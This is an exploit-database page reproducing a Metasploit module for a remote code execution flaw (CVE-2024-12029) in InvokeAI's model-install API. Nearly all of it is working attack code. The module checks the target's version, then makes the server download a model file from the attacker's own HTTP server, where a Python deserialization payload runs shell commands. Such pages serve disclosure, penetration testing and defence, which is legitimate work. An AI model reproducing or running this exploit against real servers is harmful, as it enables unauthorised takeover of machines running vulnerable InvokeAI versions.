InvokeAI Remote Code Execution

2025.02.19
Risk: High
Local: Yes
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'InvokeAI RCE', 'Description' => %q{ InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization. The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation. This functionality allows attackers to embed malicious code in model files that execute upon loading. }, 'Author' => [ 'jackfromeast', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-12029'], ['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'], ], 'Platform' => %w[linux], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd } ], ], 'DefaultOptions' => { 'FETCH_DELETE' => true }, 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => '\'"' }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => '2025-02-07', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(9090), ] ) register_advanced_options([ OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/app/version') }) return Exploit::CheckCode::Unknown unless res&.code == 200 json_version = res&.get_json_document&.fetch('version', nil) return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version version = Rex::Version.new(json_version) return Exploit::CheckCode::Unknown('Failed to get version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2')) Exploit::CheckCode::Appears("Version #{version} detected.") end def on_request_uri(cli, _request) send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")) end def primer res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'), 'headers' => { 'Content-Type' => 'application/json' }, 'vars_get' => { # Malicious model path, not .pkl 'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt", 'inplace' => 'true' }, 'data' => {}.to_json }) fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201 end def exploit Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stops due to our timeout, this is raised end end


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top